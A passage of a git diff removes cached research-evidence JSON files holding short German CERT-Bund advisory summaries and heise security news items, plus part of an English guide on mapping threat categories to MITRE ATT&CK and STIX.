anonymer Angreifer kann eine Schwachstelle in Wireshark ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Wireshark ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6557990209319222, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/862c69080cb29fc16ba71524.json b/data/research-evidence/862c69080cb29fc16ba71524.json deleted file mode 100644 index 4d9e65c..0000000 --- a/data/research-evidence/862c69080cb29fc16ba71524.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:47:11.4628781Z", - "content_sha256": "ac06f1cb33232ec73e660c56d54f40d8b2c1ddf9fffd96bf5d3a303d33a491d7", - "result": { - "title": "[UPDATE] [mittel] Internet Systems Consortium BIND: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1626", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Internet Systems Consortium BIND ausnutzen, um eine Speicherbeschädigung auszulösen oder einen Denial-of-Service-Zustand zu verursachen.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Internet Systems Consortium BIND ausnutzen, um eine Speicherbeschädigung auszulösen oder einen Denial-of-Service-Zustand zu verursachen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6502888217437344, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/87e45fa692b4c6cc76b465b7.json b/data/research-evidence/87e45fa692b4c6cc76b465b7.json deleted file mode 100644 index 55e0da8..0000000 --- a/data/research-evidence/87e45fa692b4c6cc76b465b7.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:29:12.3775241Z", - "content_sha256": "f12ad01bf65c68b24d19ac3555652f4b2ae4ae3011db139fd773d07c3b69a0d1", - "result": { - "title": "[UPDATE] [mittel] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1252", - "snippet": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen Denial of Service Angriff durchzuführen, Sicherheitsmaßnahmen zu umgehen, Informationen offenzulegen, andere nicht näher spezifizierte Auswirkungen zu verursachen und möglicherweise Code auszuführen.", - "content": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen Denial of Service Angriff durchzuführen, Sicherheitsmaßnahmen zu umgehen, Informationen offenzulegen, andere nicht näher spezifizierte Auswirkungen zu verursachen und möglicherweise Code auszuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7132298571691427, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/891163d056ed054403c2b2f9.json b/data/research-evidence/891163d056ed054403c2b2f9.json deleted file mode 100644 index e9764a3..0000000 --- a/data/research-evidence/891163d056ed054403c2b2f9.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:49:07.3060272Z", - "content_sha256": "25dfeea16487903540a354e7dbf2b2266b734f7adc45dd5bb60dd0336b6ccb5d", - "result": { - "title": "Durch Metabase-0day: Datenleck bei Laptophersteller Framework", - "url": "https://www.heise.de/news/Durch-Metabase-0day-Datenleck-bei-Laptophersteller-Framework-11403050.html", - "snippet": "Nur wenige Stunden nach Bekanntwerden einer Sicherheitslücke informiert der Framework seine Kunden. Metabase veröffentlichte eigene Sicherheitshinweise.", - "content": "Nur wenige Stunden nach Bekanntwerden einer Sicherheitslücke informiert der Framework seine Kunden. Metabase veröffentlichte eigene Sicherheitshinweise.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6472020192464135, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/8bf0ba5dcffc19ace2ada1c9.json b/data/research-evidence/8bf0ba5dcffc19ace2ada1c9.json deleted file mode 100644 index 97db7a1..0000000 --- a/data/research-evidence/8bf0ba5dcffc19ace2ada1c9.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:42:07.2076044Z", - "content_sha256": "c3f620b27771ca8db025ae70c9d40277826578aac1f0ddee5301ce82f002ab9f", - "result": { - "title": "[NEU] [mittel] Apple macOS (Sonoma, Sequoia und Tahoe): Schwachstelle ermöglicht Umgehen von Sicherheitsvorkehrungen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2687", - "snippet": "Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in Apple macOS ausnutzen, um Sicherheitsvorkehrungen zu umgehen.", - "content": "Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in Apple macOS ausnutzen, um Sicherheitsvorkehrungen zu umgehen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6690512124549064, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/8c8128ccb4f7c584a58287a6.json b/data/research-evidence/8c8128ccb4f7c584a58287a6.json deleted file mode 100644 index 413cab9..0000000 --- a/data/research-evidence/8c8128ccb4f7c584a58287a6.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:27:26.0629305Z", - "content_sha256": "364dfb49eb540a3935f4412656605e527abab35f99c76d92dc652f0d9868ca86", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2025-1869", - "snippet": "Ein Angreifer kann mehrere Schwachstellen im Linux-Kernel ausnutzen, um einen Denial-of-Service-Zustand zu erzeugen oder andere nicht spezifizierte Angriffe durchzuführen.", - "content": "Ein Angreifer kann mehrere Schwachstellen im Linux-Kernel ausnutzen, um einen Denial-of-Service-Zustand zu erzeugen oder andere nicht spezifizierte Angriffe durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7041452022665138, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/8dc78c69a34ab05a1dcee118.json b/data/research-evidence/8dc78c69a34ab05a1dcee118.json deleted file mode 100644 index 25a23ad..0000000 --- a/data/research-evidence/8dc78c69a34ab05a1dcee118.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:31:07.5622619Z", - "content_sha256": "a4b9e805fc2e5d890b3b23523ff5e47d46b9658a25c6e4e39ae5e5efed1bfaf5", - "result": { - "title": "[UPDATE] [mittel] Linux Kernel: Schwachstelle ermöglicht Umgehen von Sicherheitsvorkehrungen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1571", - "snippet": "Ein lokaler Angreifer kann eine Schwachstelle im Linux Kernel ausnutzen, um Sicherheitsvorkehrungen zu umgehen und vertrauliche Informationen offenzulegen, was weitere Angriffe ermöglicht.", - "content": "Ein lokaler Angreifer kann eine Schwachstelle im Linux Kernel ausnutzen, um Sicherheitsvorkehrungen zu umgehen und vertrauliche Informationen offenzulegen, was weitere Angriffe ermöglicht.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.732127752871744, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/960767cc23bfae4c909a4b5a.json b/data/research-evidence/960767cc23bfae4c909a4b5a.json deleted file mode 100644 index 5184fbf..0000000 --- a/data/research-evidence/960767cc23bfae4c909a4b5a.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:44:07.6999939Z", - "content_sha256": "a6f833708952ad9ba2e1f7408976267746aeaf9506bf112b7bddd74833a84d19", - "result": { - "title": "[NEU] [hoch] Google Chrome: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2695", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Google Chrome ausnutzen, um beliebigen Programmcode auszuführen, vertrauliche Informationen offenzulegen, Daten zu manipulieren oder einen Denial-of-Service-Zustand herbeizuführen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Google Chrome ausnutzen, um beliebigen Programmcode auszuführen, vertrauliche Informationen offenzulegen, Daten zu manipulieren oder einen Denial-of-Service-Zustand herbeizuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6629765051653962, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/970d149c67162ca955bc0a00.json b/data/research-evidence/970d149c67162ca955bc0a00.json deleted file mode 100644 index 81ff440..0000000 --- a/data/research-evidence/970d149c67162ca955bc0a00.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:50:06.6556861Z", - "content_sha256": "90e163f5389e630b39daa81ba51ee732eaf4770395cf2fb6564ef6e943d50370", - "result": { - "title": "[UPDATE] [mittel] GNU libc: Schwachstelle ermöglicht Denial of Service", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0918", - "snippet": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in GNU libc ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in GNU libc ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.643847849808918, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/975cd05faacabd0b4d9daa5f.json b/data/research-evidence/975cd05faacabd0b4d9daa5f.json deleted file mode 100644 index 97519c4..0000000 --- a/data/research-evidence/975cd05faacabd0b4d9daa5f.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:29:42.3439644Z", - "content_sha256": "657e903c916a70404630f5206f402ed19cd0061aae9b82765c052d941499af58", - "result": { - "title": "[UPDATE] [mittel] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2208", - "snippet": "Ein lokaler Angreifer kann mehrere Schwachstellen in Linux Kernel ausnutzen, um Speicherbeschädigungen zu verursachen, Kernel-Speicher offenzulegen oder Denial-of-Service-Zustände auszulösen.", - "content": "Ein lokaler Angreifer kann mehrere Schwachstellen in Linux Kernel ausnutzen, um Speicherbeschädigungen zu verursachen, Kernel-Speicher offenzulegen oder Denial-of-Service-Zustände auszulösen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7114675522838187, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/97d6f2e3d87336b65a9d3705.json b/data/research-evidence/97d6f2e3d87336b65a9d3705.json deleted file mode 100644 index 948c016..0000000 --- a/data/research-evidence/97d6f2e3d87336b65a9d3705.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:40:11.826568Z", - "content_sha256": "add7220af24d32f8e05d3dbba12547cc860349446cbf622a1f894cf7e2a720aa", - "result": { - "title": "[UPDATE] [mittel] Apache CXF: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2682", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Apache CXF ausnutzen, um beliebigen Programmcode auszuführen, um seine Privilegien zu erhöhen, um einen Denial of Service Angriff durchzuführen, und um Sicherheitsvorkehrungen zu umgehen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Apache CXF ausnutzen, um beliebigen Programmcode auszuführen, um seine Privilegien zu erhöhen, um einen Denial of Service Angriff durchzuführen, und um Sicherheitsvorkehrungen zu umgehen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6758527863716153, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/98e07b7688c85710ebbdb9ed.json b/data/research-evidence/98e07b7688c85710ebbdb9ed.json deleted file mode 100644 index f47c577..0000000 --- a/data/research-evidence/98e07b7688c85710ebbdb9ed.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:35:11.6968361Z", - "content_sha256": "9a2c2370b609c51794e13e496eec3609cd197e923f3f39f3229580b8e018ca37", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Mehrere Schwachstellen ermöglichen nicht spezifizierten Angriff", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1656", - "snippet": "Ein lokaler Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um seine Privilegien zu eskalieren oder nicht näher spezifizierte Angriffe durchzuführen, darunter möglicherweise Denial-of-Service-Angriffe, Speicherbeschädigungen oder die Offenlegung von Informationen.", - "content": "Ein lokaler Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um seine Privilegien zu eskalieren oder nicht näher spezifizierte Angriffe durchzuführen, darunter möglicherweise Denial-of-Service-Angriffe, Speicherbeschädigungen oder die Offenlegung von Informationen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7027835098216098, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/99534ba93ed49208ab185020.json b/data/research-evidence/99534ba93ed49208ab185020.json deleted file mode 100644 index 1eda3e3..0000000 --- a/data/research-evidence/99534ba93ed49208ab185020.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:33:49.0067228Z", - "content_sha256": "1a9e65d31ab740c75a05d12e8a996bbeea33eaee81d8d220c51d561cf2e6d6d0", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1870", - "snippet": "Eiin Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen Denial-of-Service-Zustand zu erzeugen oder andere, nicht näher bezeichnete Angriffe durchzuführen.", - "content": "Eiin Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen Denial-of-Service-Zustand zu erzeugen oder andere, nicht näher bezeichnete Angriffe durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7075329160181161, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/9a6a93cb356afa1886b51684.json b/data/research-evidence/9a6a93cb356afa1886b51684.json deleted file mode 100644 index 3c19527..0000000 --- a/data/research-evidence/9a6a93cb356afa1886b51684.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:38:11.9015188Z", - "content_sha256": "b9cfcd96bce8191f81319197b7d6575edfce251a4ce2f3d90ae3ae69e6da4c1c", - "result": { - "title": "[UPDATE] [mittel] X.Org X11 Server (libXfont2): Mehrere Schwachstellen ermöglichen Ausführen von beliebigem Programmcode mit Administratorrechten", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2378", - "snippet": "Ein lokaler Angreifer kann mehrere Schwachstellen in X.Org X11 ausnutzen, um erweiterte Berechtigungen zu erlangen und beliebigen Code mit Root-Rechten auszuführen.", - "content": "Ein lokaler Angreifer kann mehrere Schwachstellen in X.Org X11 ausnutzen, um erweiterte Berechtigungen zu erlangen und beliebigen Code mit Root-Rechten auszuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6896323983555164, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/9b5de5e60ef55183cd4803aa.json b/data/research-evidence/9b5de5e60ef55183cd4803aa.json deleted file mode 100644 index e646e94..0000000 --- a/data/research-evidence/9b5de5e60ef55183cd4803aa.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:31:41.8733005Z", - "content_sha256": "35f3365d09dad5dd24ffca79b163c827ed872c9e28482a2f2ea1c5c0f51b01cc", - "result": { - "title": "[UPDATE] [mittel] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1405", - "snippet": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um nicht spezifizierte Angriffe durchzuführen, möglicherweise Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren oder offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.", - "content": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um nicht spezifizierte Angriffe durchzuführen, möglicherweise Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren oder offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7104272969230867, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/9bb0935bfe6b9e2f64f106af.json b/data/research-evidence/9bb0935bfe6b9e2f64f106af.json deleted file mode 100644 index 0049619..0000000 --- a/data/research-evidence/9bb0935bfe6b9e2f64f106af.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:50:36.7796623Z", - "content_sha256": "a10e26ea4d068858cd48116398e155eb2405ee81c0d121c8f77bde75c5c33ce5", - "result": { - "title": "Check Point: Angreifer können Security-Management-Server übernehmen", - "url": "https://www.heise.de/news/Check-Point-Angreifer-koennen-Security-Management-Server-uebernehmen-11398187.html", - "snippet": "Aufgrund einer Sicherheitslücke können Angreifer die IT-Sicherheitslösung Security Management von Check Point attackieren. Hotfixes stehen zum Download.", - "content": "Aufgrund einer Sicherheitslücke können Angreifer die IT-Sicherheitslösung Security Management von Check Point attackieren. Hotfixes stehen zum Download.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6413769214201039, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/9f9a1d850ab31ddbd4f76b5d.json b/data/research-evidence/9f9a1d850ab31ddbd4f76b5d.json deleted file mode 100644 index 60504ea..0000000 --- a/data/research-evidence/9f9a1d850ab31ddbd4f76b5d.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:53:55.7274661Z", - "content_sha256": "895eac0fcbab3a95ca6e169fbb00646953139339719967b91782027ddbc53dfb", - "result": { - "title": "[NEU] [hoch] Arista VeloCloud Orchestrator: Schwachstelle ermöglicht Ausführen von beliebigem Programmcode mit Root-Rechten", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2702", - "snippet": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Arista VeloCloud Orchestrator ausnutzen, um beliebigen Programmcode mit Root-Rechten auszuführen.", - "content": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Arista VeloCloud Orchestrator ausnutzen, um beliebigen Programmcode mit Root-Rechten auszuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6309855411094445, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/9fc737a20215c23b9b1bd9ad.json b/data/research-evidence/9fc737a20215c23b9b1bd9ad.json deleted file mode 100644 index 36ca4db..0000000 --- a/data/research-evidence/9fc737a20215c23b9b1bd9ad.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:54:11.2523219Z", - "content_sha256": "b68c3ce54047806af5c8e58a556e5a3cf079e11d9b4e525357153e1468928e51", - "result": { - "title": "Angreifer attackieren IBM Langflow und Apache-Tomcat-Server", - "url": "https://www.heise.de/news/Angreifer-attackieren-IBM-Langflow-und-Apache-Tomcat-Server-11403178.html", - "snippet": "Derzeit schieben Angreifer Schadcode auf IBM-Langflow-Instanzen. Im Cluster-Betrieb von Apache Tomcat können sie Datenverkehr mitlesen.", - "content": "Derzeit schieben Angreifer Schadcode auf IBM-Langflow-Instanzen. Im Cluster-Betrieb von Apache Tomcat können sie Datenverkehr mitlesen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.627854519575384, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/a0dd1e788d176b01fc4b733d.json b/data/research-evidence/a0dd1e788d176b01fc4b733d.json deleted file mode 100644 index 0c33c12..0000000 --- a/data/research-evidence/a0dd1e788d176b01fc4b733d.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:28:11.5469348Z", - "content_sha256": "8f79fb4e9d433524f4783434af86ab268b906777c18bfb5c62aba9485390bfbb", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2640", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Linux Kernel ausnutzen, um vertrauliche Informationen offenzulegen, Daten zu manipulieren oder einen Denial-of-Service-Zustand zu verursachen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Linux Kernel ausnutzen, um vertrauliche Informationen offenzulegen, Daten zu manipulieren oder einen Denial-of-Service-Zustand zu verursachen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7336332214669905, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/a21123944ae3e19afb5f4b8b.json b/data/research-evidence/a21123944ae3e19afb5f4b8b.json deleted file mode 100644 index 5a9530d..0000000 --- a/data/research-evidence/a21123944ae3e19afb5f4b8b.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:36:12.300357Z", - "content_sha256": "9d0b1c81ec4d85e78a3b2fab0e1a8219c30f1ac6618e1f908e8b1cd175b65cb7", - "result": { - "title": "[UPDATE] [mittel] Golang Go-Module (Net, Image, Crypto: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1653", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um erweiterte Privilegien zu erlangen, Cross-Site-Scripting-Angriffe durchzuführen, Sicherheitsmaßnahmen zu umgehen oder einen Denial-of-Service-Zustand zu verursachen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um erweiterte Privilegien zu erlangen, Cross-Site-Scripting-Angriffe durchzuführen, Sicherheitsmaßnahmen zu umgehen oder einen Denial-of-Service-Zustand zu verursachen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6967265384049406, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/a3eae33603af8b123006ea89.json b/data/research-evidence/a3eae33603af8b123006ea89.json deleted file mode 100644 index 011defb..0000000 --- a/data/research-evidence/a3eae33603af8b123006ea89.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-09T02:52:25.9669408Z", - "content_sha256": "5a1a4c6ba7f593ce9f1cd2b2250198388aaa1ed130890cb97ff1e37bbc9dca88", - "result": { - "title": "MITRE ATT\u0026CK Integration with Cyber Threat Categories | Implementation Guide", - "url": "https://barnes.ch/cyber-MITRE-INTEGRATION", - "snippet": "Comprehensive guide to integrating MITRE ATT\u0026CK and STIX with cyber threat categories. Learn implementation strategies, technical specifications, and enhancement methods for improved threat intelligence.", - "content": "MITRE ATT\u0026CK Integration with Cyber Threat Categories | Implementation Guide\n\nIntegrating the 10 Top Level Cyber Threat Clusters into MITRE ATT\u0026CK and STIX Frameworks\n\nIntroduction\n\nThe cybersecurity landscape faces a critical challenge: fragmented threat intelligence that fails to effectively connect strategic risk management with operational security execution. While frameworks like MITRE ATT\u0026CK and STIX enable detailed threat intelligence sharing, they lack a standardized high-level threat categorization system that aligns threat intelligence with risk management and security operations.\n\nFramework Benefits\n\nThe 10 Top Level Cyber Threat Clusters framework addresses this gap by providing a comprehensive solution that bridges threat intelligence with practical security implementation.\n\nUniversal Taxonomy: Establishes a standardized system for consistent threat intelligence collection and sharing across organizations and sectors\n\nIntelligence-Vulnerability Mapping: Creates clear connections between threat intelligence indicators and generic vulnerabilities, enabling more effective risk assessment\n\nControl Implementation Methodology: Provides a structured approach for translating threat intelligence into specific control requirements and implementation guidelines\n\nUnified Communication: Establishes a common language between threat intelligence teams, risk managers, and security operations personnel\n\nIntegration Benefits\n\nBy integrating this framework with established standards like MITRE ATT\u0026CK and STIX, organizations can transform raw threat intelligence into actionable insights that drive both strategic risk decisions and tactical security operations. This integration enables:\n\nEnhanced Threat Hunting: More effective identification and tracking of potential threats across the environment\n\nPrecise Control Selection: Better alignment between identified threats and necessary security controls\n\nComprehensive Incident Response: More thorough and effective incident response planning and execution\n\nLifecycle Consistency: Maintained consistency across the entire threat intelligence lifecycle, from collection to action\n\nUnderstanding the 10 Top Level Cyber Threat Clusters\n\nThe 10 Top Level Cyber Threat Clusters provide a high-level categorization of cyber threats, making it easier to understand and communicate about the threat landscape. These clusters are:\n\nAbuse of Functions\n\nExploiting Server\n\nExploiting Client\n\nIdentity Theft\n\nMan in the Middle\n\nFlooding Attack\n\nMalware\n\nPhysical Attack\n\nSocial Engineering\n\nSupply Chain Attack\n\nEach cluster represents a unique aspect of cyber risk based on the underlying vulnerabilities rather than on events or outcomes alone. This approach separates threats into categories like \"Abuse of Functions,\" \"Identity Theft,\" \"Social Engineering,\" and \"Supply Chain Attacks,\" providing a clear cause-oriented view that supports practical risk management.\n\nEnhancing STIX with the 10 Top Level Cyber Threat Clusters\n\nCurrent State of STIX\n\nSTIX provides a rich set of objects and relationships for describing cyber threat information, but it has limitations:\n\nSTIX Component\n\nPurpose\n\nLimitation\n\nObjects (e.g., Threat Actor, Attack Pattern, Malware)\n\nDescribe individual elements of cyber threats\n\nLacks a standardized high-level categorization system\n\nRelationships\n\nConnect different STIX objects to represent complex scenarios\n\nNo standardized way to represent attack sequences or paths\n\nIntrusion Set\n\nRepresent adversary behaviors and resources\n\nFocuses on actor behaviors rather than threat categories or attack progressions\n\nProposed Enhancements\n\nStandardized Threat Categorization: Introduce the 10 Top Level Cyber Threat Clusters as a new STIX Domain Object, providing a consistent, high-level categorization system.\n\nAttack Path Representation: Implement a new STIX object type to represent attack paths as sequences of threat clusters (e.g., #9 -\u003e #3 -\u003e #7).\n\nStrategic Overview: Enable a more strategic view of threats and attack progressions, bridging the gap between detailed STIX data and high-level risk management.\n\nImplementation Approach\n\nCreate a New STIX Domain Object:\n\nThreat Cluster Object Structure:\n\n\"type\": \"threat-cluster\",\n\"id\": \"TC0001\",\n\"name\": \"Abuse of Functions\",\n\"definition\": \"Abuse of Functions involves manipulating the intended functionality of software or systems for malicious purposes.\",\n\"generic_vulnerability\": \"The scope of software and functions\",\n\"asset_type\": \"Software\",\n\"attacker_vector\": \"Abuse of functionality, not a coding issue\"\n\nDevelop a New STIX Relationship Object:\n\nSequence Metadata Structure:\n\n\"sequence_id\": \"SEQ001\",\n\"initial_cluster\": \"TC0009\",\n\"subsequent_clusters\": [\"TC0003\", \"TC0007\"],\n\"common_pattern_name\": \"Phishing to Malware Chain\",\n\"observed_frequency\": \"high\"\n\nExtend Existing STIX Objects:\n\nTechnique Object Structure:\n\n\"primary_threat_cluster\": \"TC0001\",\n\"secondary_threat_clusters\": [\"TC0004\", \"TC0007\"],\n\"generic_vulnerability_exploitation\": \"Description of how this technique exploits the generic vulnerability\",\n\"attack_sequence_position\": {\n\"can_be_initial\": true,\n\"can_be_subsequent\": false\n\nBenefits of Integration\n\nProvides a standardized framework for high-level threat categorization: Enables consistent 